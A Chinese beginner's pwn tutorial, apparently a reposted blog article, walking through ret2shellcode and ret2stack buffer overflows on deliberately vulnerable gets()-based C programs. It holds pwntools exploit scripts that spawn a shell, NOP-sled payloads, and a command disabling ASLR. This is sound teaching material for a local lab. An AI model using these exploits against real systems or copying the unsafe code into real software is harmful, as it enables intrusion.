web选手入门pwnnweb选手入门pwn(2)

admin 2022年3月23日06:58:27评论109 views字数 4801阅读16分0秒阅读模式

一.    ret2shellcode

#include <stdio.h>#include <string.h>
char buf2[100];
int main(void){ setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL);
char buf[100];
printf("No system for you this time !!!n"); gets(buf); strncpy(buf2, buf, 100); printf("bye bye ~");
return 0;}

gcc -m32 -no-pie -z execstack -o ret2shellcode ret2shellcode.c


编译时常用的几个保护

且关闭地址随机化/-no-pie/PIE

堆栈可执行/-z execstack/NX

Canary保护/-fno-stack-protector(-fstack-protector-all)/Stack


setvbuf方法在帮我们关闭缓冲区,方便溢出。


这题自己编译溢出不成功,以后再研究,先用wiki上的。
https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode

这题就没有后门函数,因此必须使用shellcode,但第一步还是找偏移量
gdb动态调试,打gets断点
gdb ret2shellcode
starti
disass main

web选手入门pwnnweb选手入门pwn(2)

b *0x08048593
r
n
AAAAAAAA
stack 50

web选手入门pwnnweb选手入门pwn(2)

p/d 0xffffd1cc-0xffffd15c

web选手入门pwnnweb选手入门pwn(2)

得出偏移量为112。但是问题来了,返回地址我们修改到哪儿才能达到执行shellcode的目的呢?

答案是buf2,此为全局变量,在bss段中,而在这题中bss段是可读可写可执行的。

可用readelf -S ret2shellcode查询bss地址段(前提是无PIE保护)

web选手入门pwnnweb选手入门pwn(2)

也可以拖入ida中分析

web选手入门pwnnweb选手入门pwn(2)

当然,在ida调试也可以看到地址,断点打在strncpy上

starti

disass main

web选手入门pwnnweb选手入门pwn(2)

b *0x080485af

r

AAAAAAAAAAAA

web选手入门pwnnweb选手入门pwn(2)

可以看到buf2地址为0x804a080,和ida上看到的一致,vmmap后发现0x804a000-0x804b000是RWX,满足shellcode执行条件
vmmap

web选手入门pwnnweb选手入门pwn(2)

那么溢出就是shellcode+padding+0x804a080小端,编写exp

from pwn import *
sh = process('./ret2shellcode')shellcode = asm(shellcraft.sh())buf2_addr = 0x804a080sh.sendline(shellcode.ljust(112, "A") + p32(buf2_addr))sh.interactive()

web选手入门pwnnweb选手入门pwn(2)



二.    ret2stack

#include <stdio.h>int main () {    char str[100];    printf("%p", &str);    gets(str);    return 0;}

gcc -no-pie -z execstack -fno-stack-protector -o ret2stack ret2stack.c
此题需要关闭ALSR,否则str地址随机化
echo 0 > /proc/sys/kernel/randomize_va_space

web选手入门pwnnweb选手入门pwn(2)

这是一个64位程序,没有buf2全局变量进行溢出了,但是还有str这个局部变量也可以溢出。还是先找偏移量。
gdb ret2stack
starti
disass main

web选手入门pwnnweb选手入门pwn(2)

b *0x000000000040115e

r

n

AAAAAAAAA

stack50

web选手入门pwnnweb选手入门pwn(2)

偏移量为rbp的下一行减去rax,也就是rbp-rax+8,64位程序和32位程序的不同之处就在这里了。

p/d 0x7fffffffe058-0x7fffffffdfe0

web选手入门pwnnweb选手入门pwn(2)

这里同时也能看到str的地址,因为我们给程序加了个打印str地址的代码,在输入AAAAAA的过程中发现它和rax地址一致,都是0x7fffffffdfe0

web选手入门pwnnweb选手入门pwn(2)

那么exp就可以写出来了

#!/usr/bin/env pythonfrom pwn import *
sh = process('./ret2stack')context.arch = "amd64"shellcode = asm(shellcraft.amd64.sh())buf = 0x7fffffffdfe0sh.sendline(shellcode.ljust(120, "A") + p64(buf))sh.interactive()

但实际运行不成功

web选手入门pwnnweb选手入门pwn(2)

由于加了个打印str地址的代码,很容易找出原因——直接运行程序和gdb中调试的过程中,str地址不一致。

web选手入门pwnnweb选手入门pwn(2)

换成0x7fffffffe050即可溢出成功

web选手入门pwnnweb选手入门pwn(2)

这是因为实际运行程序和gdb运行环境变量不同,想让它们一样,有如下解决方案。



1,    强行使环境变量一致


gdb ./ret2stack
set exec-wrapper env -
r
q
env - /home/sonomon/桌面/pwn/ret2stack/ret2stack

web选手入门pwnnweb选手入门pwn(2)



2,    加个打印地址的代码

如果这题本来没有printf代码,可以加上printf代码,重新编译。

#include <stdio.h>int main () {    char str[100];    printf("%p", &str);    gets(str);    return 0;}


#include <stdio.h>int main () {    char str[100];    gets(str);    return 0;}

有无这段代码的两个程序,在同一系统中,str地址是不变的。

3,    gdb中完成溢出

在linux直接执行./ret2stack,在标准输入流中输入特殊字符,有pwntools或者如下命令形式来解决。
(python -c 'print "x90"*200'; cat -) | ./ret2stack
那么在gdb中如何输入例如shellcode这种无法直接打印的字符呢?
需要依靠pwntools进行gdb调试,需要用apt安装gdbserver
sudo apt-get install gdbserver
用python界面单行代码进行交互
python
from pwn import *
sh = gdb.debug('./ret2stack')

此时会弹出另外一个shell,执行gdb

web选手入门pwnnweb选手入门pwn(2)

在gdb中对gets断点,并单步执行到输入AAAAAAAA的地方

disass main

b *0x000000000040115e

c

n

web选手入门pwnnweb选手入门pwn(2)

回到pwntools,利用pwntools随便输入几个A

sh.sendline("AAAAAAAA")

web选手入门pwnnweb选手入门pwn(2)

至此到了gets函数执行的栈帧,单这儿str地址又变化了,为0x7fffffffe030,偏移量不变,可以自行stack 50之后去计算。

确认地址和偏移量后,q掉gdb shell,重新建立一个。这次要完成溢出。

python shell

sh = gdb.debug('./ret2stack')

gdb shell

c

python shell

context.arch = "amd64"

shellcode = asm(shellcraft.amd64.sh())

buf = 0x7fffffffe030

sh.sendline(shellcode.ljust(120, "A") + p64(buf))

sh.interactive()

web选手入门pwnnweb选手入门pwn(2)



4,    分析core文件

有心的人应该发现了,如果pwntools溢出失败,会在当前目录生成一个core文件,这是linux内存映像,专门用来分析程序崩溃原因的。
先将地址改成8个C

#!/usr/bin/env pythonfrom pwn import *
context.arch = "amd64"sh = process('./ret2stack')shellcode = asm(shellcraft.amd64.sh())buf = 0x7fffffffdfe0sh.sendline(shellcode.ljust(120, "A") + "C"*8)sh.interactive()

python exp.py之后生成core文件,拖入ida64
shift+F12
Ctrl+F

搜索CCCCCCCC字符串,定位到地址

web选手入门pwnnweb选手入门pwn(2)

web选手入门pwnnweb选手入门pwn(2)

0x7fffffffe0c0,可以发现,离它最近的0x7fffffffe050就是正确地址。

回顾一下前面,我们溢出的是rbp-rax+8=120,而0x7fffffffe0c0为AAAAAAAACCCCCCCC,也就是说它是rbp的地址。

这样也可以用python计算出来正确地址

web选手入门pwnnweb选手入门pwn(2)



5,    NOP链

./ret2stack为0x7fffffffe050
gdb ./ret2stack为0x7fffffffdfe0
地址相差很多,但这其中有很大一部分是因为gdb用的是程序的绝对路径,如果用绝对路径运行程序,和gdb相差的并不多。

web选手入门pwnnweb选手入门pwn(2)


再回顾下溢出代码

buf = 0x7fffffffe050sh.sendline(shellcode.ljust(120, "A") + p64(buf))

从0x7fffffffe050开始,向上覆盖shellcode+padding共120位,还有8位跳转地址重新指向0x7fffffffe050,此处刚好是shellcode的起始位置,这样就可以开始执行shellcode了。
这里整个栈都是我们的执行区,因此如果在shellcode前面增加无用的汇编代码,不就可以将shellcode向后移动吗?
而汇编中的NOP指令,也就是x90刚好能满足条件,因此exp可以写成这样。

#!/usr/bin/env pythonfrom pwn import *
sh = process('./ret2stack')context.arch = "amd64"shellcode = asm(shellcraft.amd64.sh())buf = 0x7fffffffe050sh.sendline("x90"*32+shellcode.ljust(88, "x90") + p64(buf))sh.interactive()

web选手入门pwnnweb选手入门pwn(2)


那么这里0x7fffffffe050到往上32位地址,都是我们可以跳转的地址,它们最终都会不断的执行NOP到shellcode。

buf = 0x7fffffffe070

web选手入门pwnnweb选手入门pwn(2)

这样我们就可以根据gdb的str地址0x7fffffffdfe0,抬高N位,在只知道str大致位置的情况下,完成溢出。

这里buf=0x7fffffffe010-0x7fffffffe030都可以。

# coding=utf8from pwn import *
sh = process('/home/sonomon/桌面/pwn/ret2stack/ret2stack')context.arch = "amd64"shellcode = asm(shellcraft.amd64.sh())buf = 0x7fffffffe011sh.sendline("x90"*32+shellcode.ljust(88, "x90") + p64(buf))sh.interactive()

web选手入门pwnnweb选手入门pwn(2)

PS:这里偏移量越大越好,shellcode越短越好,这样空间更大更容易fuzz。

PS2:这里中文路径也有影响,尽量不使用中文路径。



三.    学习地址

https://bbs.pediy.com/user-868728.htm
https://github.com/ctf-wiki/
https://pwnable.kr/play.php
https://www.bilibili.com/video/BV1854y1y7Ro

本文始发于微信公众号(珂技知识分享):web选手入门pwnnweb选手入门pwn(2)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月23日06:58:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   web选手入门pwnnweb选手入门pwn(2)http://cn-sec.com/archives/505021.html

发表评论

匿名网友 填写信息